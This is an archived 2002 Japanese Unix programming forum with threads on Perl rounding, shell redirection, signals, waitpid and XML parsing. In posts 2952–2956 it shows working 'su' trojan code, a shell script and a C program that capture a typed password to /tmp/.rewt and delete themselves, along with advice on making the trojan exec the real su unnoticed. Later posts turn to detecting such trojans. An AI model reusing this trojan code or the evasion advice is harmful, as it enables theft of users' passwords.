68user's page 掲示板

Prev< No. 2941〜2989> Next  [最新発言に戻る] [過去ログ一覧]
No. 2941 # 68user 2002/11/21 (木) 17:14:28
>>2937 ふくし
勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、
こういうときの常套手段を知らないので、しばし傍観。

>>2938 初心者
csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ
(あるいはマウスでコピペ) しましょう。どこに問題があるのか
わかります。

No. 2942 # ふくし [E-mail] 2002/11/21 (木) 17:30:37
>>2940 名無し
さん、ありがとうございます。

sprintf は四捨五入なんですね。
ということはあらかじめ 0.005 を引いておけばよい?
−−−−−−−−−−プログラム−−−−−−−−−−−−−−>8
#! perl

while (<DATA>) {
                chomp;
                $tanka = $_; # ドル
                print "tanka = $tanka ";
                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個
                $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
                $uriage = $uriage100 / 100;
                $uriage = sprintf "%.2f", $uriage;
                print "uriage = $uriage\n";
}
−−−−−−−−−−プログラム終わり−−−−−−−−−−−>8
実行結果。
> keisan
tanka = 10000.88 uriage = 10000.88
tanka = 10000.881 uriage = 10000.88
tanka = 10000.882 uriage = 10000.88
tanka = 10000.883 uriage = 10000.88
tanka = 10000.884 uriage = 10000.88
tanka = 10000.885 uriage = 10000.88
tanka = 10000.886 uriage = 10000.88
tanka = 10000.887 uriage = 10000.88
tanka = 10000.888 uriage = 10000.88
tanka = 10000.889 uriage = 10000.88

なんかできてるっぽい、、?

__DATA__
10000.88
10000.881
10000.882
10000.883
10000.884
10000.885
10000.886
10000.887
10000.888
10000.889

No. 2943 # 68user 2002/11/21 (木) 17:38:02
>>2942 ふくし
これなんかどうでしょうね。
http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5

> $uriage = $uriage100 / 100;
最後に 100 で割るのがなんかおそろしいなぁ。

値によっては循環小数になったりしないのかな。循環小数になっても
%.2f してるから OK?

No. 2944 # ふくし 2002/11/21 (木) 17:49:16
すいません、お騒がせしております ;;;
100 で掛けたり、割ったりしているのは、
int を使いたかったからで、
sprintf を使っている以上、必要ないですね。

(切り捨ての場合)
while (<DATA>) {
                chomp;
                $tanka = $_; # ドル

                print "tanka = $tanka ";

                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個

                $uriage = sprintf "%.2f", $tanka * $kosuu;

                print "uriage = $uriage\n";
}

四捨五入の場合は 0.005 を引くのをやめるとか。

No. 2945 # ふくし 2002/11/21 (木) 18:32:31
だめでした ;;;
sprintf "%.2f", $a;
に、$a に 10000.005 を渡すと、10000.00 になります。
(環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03)

しょうがないので . で split して、、いろいろしようと思います ;;;

ちなみに 68User さん、BCD というのはモジュールありますか?
CPAN で検索したら EBCDIC_convert なんとかというのしか
見つかりませんでした ;;;

No. 2946 # ふくし 2002/11/21 (木) 19:18:10
一人で駄投稿を繰り返して大変申し訳ありません。
けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、
変数をすべて Math::BigFloat にしました。
なんとなくできているような気がしますが、
これぐらいの時間帯になってくると
「いったい何ができてるってことなのか」わからなくなってくるので ;;;
明日また考えます。X68000 さん、名無しさん、ありがとうございました。
何かありましたらよろしくお願いします。

No. 2947 # ふくし 2002/11/22 (金) 00:32:45
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;;

No. 2948 # hsj 2002/11/22 (金) 19:58:19
>>2947 ふくし
もう解決してらっしゃる様ですが、最初のソースの
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍

$uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍
みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で
適当な数字を足してやると良いんじゃないでしょうか。
端数の発生しない桁が決められない場合はダメですが・・・。
#ぱっとみて思いついただけなんで全然的外れかもしれません

No. 2949 # tak 2002/11/24 (日) 00:25:59
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。
よろしくお願いします。

No. 2950 # tak 2002/11/25 (月) 23:02:58
解決しました。

No. 2951 # 68user 2002/11/26 (火) 00:22:14
>>2945 ふくし
> ちなみに 68User さん、BCD というのはモジュールありますか?
binary decimal で検索したら、これがひっかかりました。
      http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm

No. 2952 # kiki 2002/11/26 (火) 19:27:25
>68userさん,お返事が送れて申し訳ありません.kikiです

>> 2.PATH変更,トロイ置場を先に検索するようにする.
>> ができているなら、後は /usr/bin/su を起動すればいいだけ
>> だと思います。そこで PATH が出てくる理由がよくわかりません。

たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド
を打ち込むと,本物のsuが問題なく立ち上がるのですが,

bashの場合,suトロイが動いた後にsuコマンドを打ち込むと,
bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない

といわれてしまいました.
suトロイは消えていたので,本物のsuを探しに行ってくれるはずな
のですが,どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.そこで,
suトロイの中でPATHを変更しようと思ったのです.

こちらも理由を考えていたのですがわかりません.
バージョンは bash-2.04-1v14です.
何か,こころあたりがございましたら,
御教授願います.よろしくお願いします.

No. 2953 # 68user 2002/11/28 (木) 02:09:57
>>2952 kiki
具体的に何をやっているのかが全く見えないです。遠回しな
書き方をしないでスクリプトを提示するなりしてください。

なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では
成功しました (意図通りの挙動かどうかはわかりませんが)。

bash-2.05$ PATH=.:$PATH
bash-2.05$ cat su
#!/bin/sh
echo -n "(Trojan su)Password: "
stty -echo
read a
stty echo
echo ""
echo "Sorry (Your password [$a] is captured!)"
mv su su.bak
bash-2.05$ type su
su is hashed (./su)
bash-2.05$ su
(Trojan su)Password:
Sorry (Your password [hoge] is captured!)
bash-2.05$ which su
/usr/bin/su
bash-2.05$ su
Password:
Sorry

No. 2954 # kiki 2002/11/28 (木) 02:58:00
>>68user様
お返事ありがとうございます.kikiです.
申し訳ありません.トロイのソースを書き込ませていただきます.
cで書かれたトロイを使っています.
トロイの置き場所は /home/koko/.oite です.

#include <stdio.h>
#include <stdlib.h>
#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
          char *key;
          char buf[40];
          FILE *fd;
          
          key = (char *)getpass ("Password:");
          fd = fopen(SU_PASS,"w");
          fprintf(fd, "pass: %s\n", key);
          fclose(fd);
          printf ("su: incorrect password\n");
          sprintf(buf, "rm /home/koko/.oite/%s", argv[0]);
          system(buf);
          exit (1);
}

よろしくお願いします.
こちらでも引続き原因を調べてみます.

No. 2955 # 68user 2002/11/28 (木) 03:23:12
>>2954 kiki
つまりやってることは
>>2953 68user
のスクリプトと同じなわけで、こちらで実行すると 2回目の su で
/usr/bin/su を実行してくれました。

ということは bash が原因なわけで、ハッシュテーブルを再構築
しない設定になっているのでは、などを疑うべきなんでしょうけど、
bash は使ってないのでよくわかりません (勝手にハッシュテーブル
再構築してくれるんじゃないのかな?)。そこらへん何か設定がある
んでしたっけ。

あとは bash の最新版を入れてみるとか。

No. 2956 # 68user 2002/11/28 (木) 07:52:05
>>2954 kiki
bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって
みましたが、どうやら
    PATH=.:$PATH
だと OK (/usr/bin/su が実行される) ですが
    PATH=/foo/bar:$PATH
と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。

マニュアルを読む限りでは bash の仕様のような気がしますし、相対
パスのコマンドが hashing されていた場合は (カレントディレクトリが
移動しているかもしれないので) 再度 PATH を検索する、というのは
納得のいく挙動です。

# でも、もしかしたら bash のバグかもしれません。

解決策としては
    % shopt -s checkhash
があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの
su を作るという目的を第一に考えるのであれば、

    1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。
          カレントディレクトリの階層があまりに深くなければ、これでいける。
    2. トロイ版 su の中で /usr/bin/su を exec する

といったところでしょうが、普通は 2 のような気がします
(作ったことないのでわからんけど)。

No. 2957 # ふくし [E-mail] 2002/11/28 (木) 16:12:20
みなさん、計算の問題でフォローアップありがとうございます。
とりあえず Math::BigFloat で快適です。
3471943.48 および 3471943.488 という数を 0 と比較すると
おかしいという現象があって一瞬ひやっとしましたけど、
5.005003 ではバグってるけど 5.6.0 では直ってるようでした。

■ソース
#! perl
use Math::BigFloat;

while (<DATA>) {
        chomp;
        $num = Math::BigFloat->new($_);

        if ($num >= 0) {
                print "$num is larger-equal than 0\n";
        } else {
                print "$num is not larger-equal than 0\n";
        }

        $cmp = $num->fcmp("0");
        print "compare $num vs 0: $cmp\n";
}

__DATA__
3471943.488
3471943.48
3

■5.005003 での実行結果
3471943.488 is not larger-equal than 0
compare 3471943.488 vs 0: -1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: -1
3. is larger-equal than 0
compare 3. vs 0: 1

■5.6.0 での実行結果
3471943.488 is larger-equal than 0
compare 3471943.488 vs 0: 1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: 1
3. is larger-equal than 0
compare 3. vs 0: 1

No. 2958 # kiki 2002/11/29 (金) 17:50:58
>>2956 68user様
またお返事が送れて申し訳ありません.kikiです.

お返事ありがとうございます.早速ためしてみます.
この質問を通じて,いろいろ知らないこともわかったので
その点でもとても勉強になりました.
ありがとうございました.

No. 2959 # KENT1 2002/11/30 (土) 23:50:22
初めてになりますが、質問がありますので、お力添えをお願いします。
プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか?
リダイレクトを使って、
time 実行するコマンド > ファイル名
としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。

No. 2960 # 68user 2002/12/02 (月) 08:58:04
>>2959 KENT1
お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、
てきとーに試してみてください。
    /usr/bin/time ls >& file
    /usr/bin/time ls >file 2>&1
    env TERM= csh -c "time ls" > file
    env TERM= bash -c "time ls" > file

No. 2961 # 1202 2002/12/02 (月) 14:50:39
初めまして。初心者なので質問自体が意味不明かもしれませんが、
システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。

No. 2962 # 68user 2002/12/02 (月) 15:20:34
>>2961 1202
> ディスク使用量
statfs(2), fstatfs(2)

> CPU使用量
プロセス単位の情報かシステムの情報を取るのかわかりませんが、
Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を
読むような API が用意されているかもしれませんが、わかりません。

後は man -k stat、man -k cpu、man -k disk などを活用してください。

No. 2963 # 1202 2002/12/02 (月) 15:47:40
>>2962 68user
ありがとうございます。
早速試してみます。

No. 2964 # kiki 2002/12/02 (月) 20:25:54
kikiと申します.
68user様,先日はお世話になりました.

お聞きしたいことがあります.

私は今,シェルでpsコマンドを打ち込んだら
標準出力で"psコマンドがうちこまれました."
と出力させるプログラムを作ろうとしています.

この時に,シェルからpsコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させたいのですが,このような事は,プロセス間通信や
デーモンを使うのでしょうか?

皆様のアドバイスをよろしくお願い致します.

また,簡単なデーモンのソースがあるページや,
デーモンを作るにあたってやくだつページを
ご存知でしたら教えてください.

よろしくお願いします.

No. 2965 # 68user 2002/12/03 (火) 01:16:24
>>2964 kiki
前にも書きましたが目的は何ですか? kiki さんの質問は
いつも情報量が足りないと思います。

目的を書かないから前提条件がわからない。前提条件が
わからないから、例えば
    「利用者にばれてもいいのか」
    「シェルのソースをいじるというのはアリなのか」
などもわからない (当然その答えによって解は異なります)。

> また,簡単なデーモンのソースがあるページ
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。

>>2961 1202
> dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が
> 違ってくるので、、、
ちなみに僕ならば面倒なので GNU df を Solaris に
入れます (仕事であれば特に)。

No. 2966 # kiki 2002/12/03 (火) 02:32:54
2965>>68user様

毎回すみません.

目的は前回の質問でふれたsuトロイの痕跡の検出なんです.
suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが,
/var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
suトロイをリアルタイムに近い形で検出できないか?と考えたのです.

そこで,シェルからsuコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させ,suとコマンドが 実行されているようならば,
/var/log/messageをみて,suの痕跡があるかどうかを調べれば
検出できるだろうと考えたのです.

とりあえずsuコマンドが打ち込まれたかどうかを判定する
部分をまず作ろうと思いましたが,この時にプロセス間で
データのやりとりが必要になったり,デーモンも使うのかな
と思い,質問させていただきました.

「利用者にばれてもいいのか」
    >はい,ばらせる事ができるならば是非そうしたいです.

「シェルのソースをいじるというのはアリなのか」
    >はい,ありです.

毎回わかりづらい書き込みをして申し訳ありません.
ご教授をお願い致します.

No. 2967 # 68user 2002/12/03 (火) 13:04:01
>>2966 kiki
今度は検出なわけですね?

> /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する
ことはできますので、これだけでは正確に判断できません。

では他に判断する方法はあるかというと、決定的なものはないです。
結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ
グラムと判断するか」に帰着するわけで。興味があればアンチウィルス
ソフトがウィルスを検出する手段を調べてみるとよいでしょう。

で、それとは別に「どうやって su がタイプされたことを検出するか」という
話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ
「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行
しようとしているかどうか、というチェックをすればよいでしょう。

プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき
ないなら、使う必要はないということです。


別の解としては、システムコールの発行を hook して安全性をチェック、
というのもありますが、UNIX でこういうのってできるのかなーと思って
調べてみたら、なんかできるようですね。
      http://www.caj.co.jp/support/etrustac_faq.htm
      Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
置き換えているのか…(できるのかな?)

# Windows なら SetWindowsHookEx で簡単なんですけど。

No. 2968 # kiki 2002/12/03 (火) 17:53:30
>>2967 68user様
お返事ありがとうございます.

>syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます

これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ
を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って,
syslogdにメッセージを渡すという事なのでしょうか?


P.S.
システムコールで見分ける,ですね.
確かに,suトロイと本物のsuだとやっている事はちがうから
見分けられるかも知れませんね.アドバイスありがとうございます.

No. 2969 # kiki 2002/12/04 (水) 21:25:13
>>2967 68user様

何回も申し訳ありません.kikiです.

>exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。

これは,システムコールのチェックを自動化させて行なえばよい,
という事なのでしょうか?

基本的な事で申し訳ありません.

No. 2970 # ふくし [E-mail] 2002/12/05 (木) 18:47:37
いつもすいません、質問です。
以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。

カンタンにいうと、入れ子になったタグで囲まれた部分だけを
別ファイルに抜き出し、元ファイルからは削除する、です。

順序を保存して抜く方法と、
保存しないで抜く方法とあると思いますが、
どちらでもかまいません。
(前者の方がいいかなぁ、、)

入力ファイル:

out1
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
out2
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
out3
<tag f>
  in9
</tag>
out4

出力ファイル例1:(順序を保存して抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

出力ファイル例2:(順序を保存しないで抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
        <tag c>
            in3
        </tag>
    <tag b>
        in2
        in4
    </tag>
<tag a>
  in1
  in5
</tag>
    <tag e>
        in7
    </tag>
<tag d>
  in6
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

よろしくお願いします。

No. 2971 # ふくし [E-mail] 2002/12/05 (木) 20:32:07
補足です。
この tag というのは全部同じタグです。
ただオープンタグにかかれている a, b, ... という
アトリビュートが全部違います。

No. 2972 # ふくし [E-mail] 2002/12/05 (木) 23:16:22
さらに補足。(俺って説明下手だな、、;;;
ファイルには <tag> 以外のタグも存在します。
<aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。
その中で下の処理の対象になるのが <tag> だけということです。
<tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、
それも抜いて書き出します。
問題の定義もなかなか奥が深い。

No. 2973 # 68user 2002/12/06 (金) 00:21:32
>>2969 kiki
シェルって何をしているか知っていますか? 簡単に言うと、ユーザが
入力した文字列を解析し、execve(2) を実行することです。

シェルのソースをいじっていいのならば、execve(2) を発行している
部分を探して、そこで su を実行しようとしているかどうかのチェックを
行えばよいのでは、という話です。

>>2970 ふくし
入力が XML なら、
    http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE
の removeChild で一発なような気がします。

XML でないなら構文解析してスタックに積んで…といきたいところですが、
僕は軟弱なので
    - s|<tag .*?>.*?</tag>||
    - 削除したのが足りなかった
            (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった)
        なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。
とします。

No. 2974 # 68user 2002/12/06 (金) 01:04:43
>>2967 68user
> 別の解としては、システムコールの発行を hook して安全性をチェック、
> というのもありますが、UNIX でこういうのってできるのかなーと思って
> 調べてみたら、なんかできるようですね。
>   http://www.caj.co.jp/support/etrustac_faq.htm
>     Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
> カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
> 置き換えているのか…(できるのかな?)

最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。
詳しい人がいらっしゃったら教えてください。

全てのシステムコールは
      http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8
を経由するんじゃないかと思っているのですが、もしそれが正しいなら
ここにチェック機能を入れた libc を用意して置き換えるか、あるいは
LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。

どちらにせよアセンブラができないので、
      http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html
を買って勉強かな…。

No. 2975 # ふくし 2002/12/06 (金) 10:29:54
>>2973 68user
さん、ありがとうございます。
まさに xml で、そのパッケージすごく便利そうなんですが
使い方がよくわかりません ;;;
でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。

No. 2976 # 68user 2002/12/06 (金) 11:02:25
>>2975 ふくし
別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が
幸せ度が高いかと。

# 僕は使ったことないですけど。

No. 2977 # UMA 2002/12/06 (金) 13:15:47
通りすがりのものですが・・・

システムコールをhookして安全性を云々というのは、
たとえば
        Systrace - Interactive Policy Generation for System Calls
        http://www.citi.umich.edu/u/provos/systrace/
こういったもののことでしょうか?
(OpenBSD, NetBSD にはマージされています)

No. 2978 # UMA 2002/12/06 (金) 13:17:35
X68000の、内臓フォントを利用するインターフェースを調べています。
フリーで有用な文書がありましたら教えていただけないでしょうか?
>識者

なお当方X68000に関する知識は皆無でございます。

No. 2979 # KENT1 2002/12/06 (金) 16:14:05
>>2960 68user様 報告が遅れまして申し訳ありません。
/usr/bin/time 実行コマンド >& 出力ファイル
を実行した結果うまくいきました。ありがとうございました。

No. 2980 # ふくし [E-mail] 2002/12/06 (金) 17:05:36
タグのパースの件です。
別解ですが、会社の若い者が作ったプログラムが無事動きました。

で、せっかくなので XML::DOM を入れようとしたら、
XML::Parser を入れよと言われたので、
XML::Parser を入れようとしたら、
expat を入れよと言われたので、
expat の tar.gz を解いて ./configure して Makefile を
#prefix = /usr/local
prefix = /henna_directory
として make したら(ぼくは管理者でないので)、
  gcc: unrecognized option `-R/henna_directory/lib'
といわれました。ここで止まっています。
ちなみに /henna_directory/lib というディレクトリはあります。
(ついでにいうと、bin も include も man も)
待て次号。;;;

No. 2981 # 68user 2002/12/06 (金) 22:59:42
>>2977 UMA
> システムコールをhookして安全性を云々というのは、
はい、そういうものを念頭に置いていました (が、ユーザランドで
できたらいいなと。無理なのかな)。

Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。
素晴らしいです。

>>2978 UMA
68user's page で X68000 の疑問が解決したことは一度もなかったりします。
インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に
頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で
聞くのが早いと思います。

>>2980 ふくし
まーいろいろありますが、がんばってインストールしてください。

あと、libwww-perl あたりもいれなきゃいけないのが perl の XML
モジュールのうざいところ。

No. 2982 # kiki 2002/12/07 (土) 02:16:59
>>2973 68user様
お返事ありがとうございます.kikiです.

丁寧なご説明ありがとうございました.
おかげで理解できました.ありがとうございます.

No. 2983 # 68user 2002/12/08 (日) 06:01:43
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。

TeraTerm 経由の mule などで PageUp が効かない場合、
Windows\Program Files\TTERMPRO\KEYBOARD.CNF の
    Remove=329
を ; でコメントアウトし、その下に
    User1=329
を追加。さらにファイルの一番最後に
    User1=329,0,$1B[5~
を追加。

って、ちょっと検索してみたら、
    http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html
の対処と全然違ってますな。なんでアレで PageUp できるんだろう。

No. 2984 # SIGNAL 2002/12/12 (木) 18:51:54
OS: Solaris 2.5.1
プロセスの通知にシグナルを使っています。
これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、
今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。
そこで、質問なのですが
<signal.h>にシグナルを追加できるのでしょうか?
また、出来るとしたら注意しないといけない点や
影響を及ぼす範囲を教えて下さい。

よろしくお願いします。

No. 2985 # 68user 2002/12/13 (金) 12:45:23
>>2984 SIGNAL
シグナルの追加はカーネルを書き換えないと無理です。

シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり
をするのが正解でしょう。

と偉そうなことをいってますが、シグナルが足りず SIGXCPU を
使って逃げたことはあります。

No. 2986 # koko 2002/12/16 (月) 14:34:40
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス
が認識する方法があれば情報提供をお願いします。

・親プロセスはwaitしません。
・子プロセスは同じものが複数生成されます。(順次生成)

ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。
理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果
が格納されるようなものです。

No. 2987 # 68user 2002/12/18 (水) 08:51:46
>>2986 koko
> ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
> や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、
の方法を取らないのであれば、無理なんじゃないでしょうか。

No. 2988 # hsj 2002/12/18 (水) 14:58:58
>>2986 koko
> ・親プロセスはwaitしません。
親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで
チェックするのもダメですか?
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/wait.h>

void handler(int sig)
{
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0)
        {
                if(WIFEXITED(status))
                {
                        code = WEXITSTATUS(status);
                        printf("child process:[%d] was exited with code:[%d]\n",pid,code);
                }
        }
}

int main(int argc,char *argv[])
{
        int i,pid,code;
        char buf[16];
        struct sigaction sa;

        if(argc>1)
        {
                code = atoi(argv[1]);
                srand(code+time(0));
                sleep(rand()%10);
                return code;
        }

        memset(&sa,0,sizeof(sa));
        sa.sa_flags = SA_NOCLDSTOP;
        sa.sa_handler = handler;
        sigaction(SIGCHLD,&sa,0);

        for(i=0;i<10;i++)
        {
                if((pid=fork())<0)
                {
                        perror("fork");
                        return -1;
                }
                if(pid)
                        continue;
                sprintf(buf,"%d",i);
                if(execl("./a.out","./a.out",buf,0)<0)
                {
                        perror("execl");
                        return -2;
                }
        }
        for(;;)
                sleep(1);
        return 0; /* never reaches */
}
--- snip ---
かなり適当ですが。

No. 2989 # koko 2002/12/19 (木) 08:42:04
>>2988 hsj
他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。
試してみたいと思います。

>>2987 68user
今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に
なるかと思います。

ご回答頂き、ありがとうございました。

Prev< No. 2941〜2989> Next  [最新発言に戻る] [過去ログ一覧]